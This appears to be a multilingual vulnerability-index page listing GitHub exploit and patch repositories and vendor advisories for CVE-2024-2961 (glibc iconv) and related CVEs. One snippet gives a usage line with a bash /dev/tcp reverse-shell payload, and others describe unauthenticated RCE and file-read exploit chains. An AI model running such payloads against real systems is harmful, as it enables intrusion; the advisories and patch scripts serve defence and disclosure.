CVE-2022-31626-CVE-2024-2961-CVE-2019-6977

CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 تبرع ادعم صيانة هذا المشروع عبر PayPal أو بمسح رمز QR أدناه. ⚡ الاستخدام البسيط استخدم هذا المشروع فقط في بيئات آمنة ومصرح بها مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبر المعزولة بيئات اختبار الاختراق المصرح بها مثال على الإعداد:...

CVE-2023-26326_Buddyform_exploit

استخدام: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' في الأصل، تطلبت CVE-2023–26326 سلاسل أدوات gadget chains لاستغلالها كثغرة إلغاء تسلسل deserialization. لم تعد هذه الطريقة مجدية على مواقع ووردبريس الأحدث التي تعمل على PHP 8+؛ ومع ذلك، من خلال ربطها مع...

iconvfix

iconvfix Bash script to patch for CVE-2024-2961 Currently works on Centos7. No warranty, do not use on production systems, this is just an internal helper : Usage tsh ssh username@target sudo 'bash -s' iconvfix.sh...

iconvfix

iconvfix CVE-2024-2961 के लिए पैच करने हेतु Bash स्क्रिप्ट वर्तमान में Centos7 पर काम करता है। कोई वारंटी नहीं, उत्पादन प्रणालियों पर उपयोग न करें, यह सिर्फ एक आंतरिक सहायक है : उपयोग tsh ssh username@target sudo 'bash -s' iconvfix.sh...

CVE-2024-2961_poc

Ce depot n’a pas de fichier README...

osTicketFileReadIntoRCE

CVE-2026-22200: osTicket में मनमाना फ़ाइल पढ़ने से RCE तक PHP फ़िल्टर चेन इंजेक्शन को CVE-2024-2961 CNEXT के साथ जोड़कर, कमजोर osTicket इंस्टॉलेशन पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन RCE प्राप्त करने वाली पूर्ण-श्रृंखला शोषण। विषय-सूची अवलोकन कमजोरी का विवरण हमले का प्रवाह विशेषताएँ स्थापना...

CVE-2024-2961

CVE-2024-2961 CVE-2024-2961 का उपयोग करके मनमानी फ़ाइल पढ़ने का कार्य करता है उपयोग अधिकतम प्रभावशीलता के लिए wrapwrap के साथ उपयोग करें। root@kitploit: usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show this...

FIX-CVE-2024-2961

نص برمجي شل سريع وقذر للتخفيف من CVE-2024-2961 على Ubuntu وعلى الأرجح منصات أخرى. قم بتشغيل نص الشل وسيكون ذلك كافياً. قد تحتاج أيضاً إلى تعديل مسار تكوينات gconv. مات...

Photon OS 5.0: Glibc PHSA-2024-5.0-91-0250

An update of the glibc package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2024-5.0-91-0250. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...

Exploit for CVE-2024-2961

CVE-2026-22200: osTicket Arbitrary File Read to RCE...

TencentOS Server 3: glibc (TSSA-2024:0134)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0134 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...

Siemens SIMATIC S7-1500 Out-of-bounds Write (CVE-2024-2961)

The iconv function in the GNU C Library versions 2.39 and older may overflow the output buffer passed to it by up to 4 bytes when converting strings to the ISO-2022-CN-EXT character set, which may be used to crash an application or overwrite a neighbouring variable. This plugin only works with...

Security Bulletin: The iconv() function in the GNU C Library affects IBM Data Observability by Databand Self-Hosted (CVE-2024-2961)

Summary The vulnerability regarding iconv function in the GNU C Library versions 2.39 and older was addressed in IBM Data Observability by Databand Self-Hosted. Vulnerability Details CVEID:CVE-2024-2961 DESCRIPTION: The iconv function in the GNU C Library versions 2.39 and older may overflow the...

Nutanix AOS : Multiple Vulnerabilities (NXSA-AOS-6.10.1.6)

The version of AOS installed on the remote host is prior to 6.10.1.6. It is, therefore, affected by multiple vulnerabilities as referenced in the NXSA-AOS-6.10.1.6 advisory. - BZ2decompress in decompress.c in bzip2 through 1.0.6 has an out-of-bounds write when there are many selectors...

Oracle Linux 8 : glibc (ELSA-2025-20375)

The remote Oracle Linux 8 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2025-20375 advisory. - CVE-2025-4802: static setuid dlopen may search LDLIBRARYPATH RHEL-92685 - CVE-2025-0395: Fix a buffer overflow in assert RHEL-83306 - CVE-2024-33599: nscd:...

TencentOS Server 3: glibc (TSSA-2024:0149)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0149 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...

Alibaba Cloud Linux 3 : 0070: glibc (ALINUX3-SA-2024:0070)

The remote Alibaba Cloud Linux 3 host has packages installed that are affected by a vulnerability as referenced in the ALINUX3-SA-2024:0070 advisory. Package updates are available for Alibaba Cloud Linux 3 that fix the following vulnerabilities: CVE-2024-2961: The iconv function in the GNU C...

Security Bulletin: Vulnerability in glibc affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component.

Summary Potential vulnerability in glibc has been identified that affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component. The vulnerability have been addressed. Refer to details for additional information. Vulnerability...

Exploit for CVE-2024-2961

PHP file-read to RCE CVE-2024-2961 TODO Parse LIBC to kn...

RockyLinux 8 : glibc (RLSA-2024:3269)

The remote RockyLinux 8 host has packages installed that are affected by a vulnerability as referenced in the RLSA-2024:3269 advisory. glibc: Out of bounds write in iconv may lead to remote code execution CVE-2024-2961 Tenable has extracted the preceding description block directly from the...